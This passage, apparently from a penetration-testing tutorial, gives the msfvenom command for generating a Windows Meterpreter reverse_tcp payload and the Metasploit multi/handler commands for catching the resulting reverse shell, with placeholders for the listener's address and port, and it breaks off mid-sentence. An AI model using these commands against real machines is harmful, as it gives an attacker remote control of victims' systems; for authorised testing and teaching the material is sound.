A Windows-based reverse_tcp payload can be generated using the following command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<local IP to get reverse connection on> lport=<local port to listen for reverse shell connection> -f <output file format> -o <payload output file>
Once the payload is generated, we need to start the listener. This can be done by executing the following commands:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local IP to get reverse connection on> set lport <local port to listen for reverse shell connection> set exitonsession false <This is used so that the handler ...